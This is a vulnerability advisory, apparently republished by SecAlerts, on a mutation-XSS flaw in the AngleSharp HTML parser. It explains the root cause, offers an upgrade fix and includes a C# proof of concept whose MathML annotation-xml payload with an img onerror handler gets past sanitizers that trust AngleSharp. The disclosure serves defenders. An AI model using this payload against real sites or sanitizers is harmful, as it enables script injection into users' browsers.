GHSA-pgww-w46g-26qg: XSS

Published Jul 17, 2026
·
Updated

Summary The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode). - Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs): cs // Current — HtmlTip is never set : base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs): cs // Escapes & " and \u00A0, but NOT < or > case Symbols.Ampersand: stringBuilder.Append("&amp;"); break; case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break; case Symbols.DoubleQuote: stringBuilder.Append("&quot;"); break; default: stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger. cs using System; using System.Linq; using AngleSharp.Html.Parser; public class Program { static readonly string Payload1 = "<math>" + "<annotation-xml encoding=\"text/html\">" + "<title><a encoding=\"</title><img src=x onerror=alert()>\">" + "</annotation-xml></math>";

public static void Main() { var parser = new HtmlParser();

Check(parser, Payload1, "IMG", "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)", "AngleSharp found <img> – SAFE"); }

static void Check(HtmlParser parser, string html, string tag, string failMsg, string passMsg) { var doc = parser.ParseDocument(html); var tags = doc.All.Select(e => e.TagName).ToHashSet(); var found = tags.Contains(tag);

Console.WriteLine(found ? passMsg : failMsg); Console.WriteLine("Serialized output:"); Console.WriteLine(doc.DocumentElement.OuterHtml); } }

Output: AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization) Serialized output: <html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected Software

1 affected componentFixes available
nuget/AngleSharp<1.5.0
1.5.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade nuget/AngleSharp to a version that resolves this vulnerability.

    Fixed in 1.5.0

Event History

Jul 17, 2026
Advisory Published
via GitHub·09:17 PM
Data Sourced
via GitHub·09:17 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of GHSA-pgww-w46g-26qg?

The severity of GHSA-pgww-w46g-26qg is medium with a score of 6.9.

2

What type of vulnerability is GHSA-pgww-w46g-26qg?

GHSA-pgww-w46g-26qg is classified as a Cross-Site Scripting (XSS) vulnerability.

3

How do I fix GHSA-pgww-w46g-26qg?

To fix GHSA-pgww-w46g-26qg, update your AngleSharp library to version 1.5.0 or later.

4

What software is affected by GHSA-pgww-w46g-26qg?

The vulnerability GHSA-pgww-w46g-26qg affects the AngleSharp library available via NuGet.

5

When was GHSA-pgww-w46g-26qg published?

GHSA-pgww-w46g-26qg was published on July 17, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203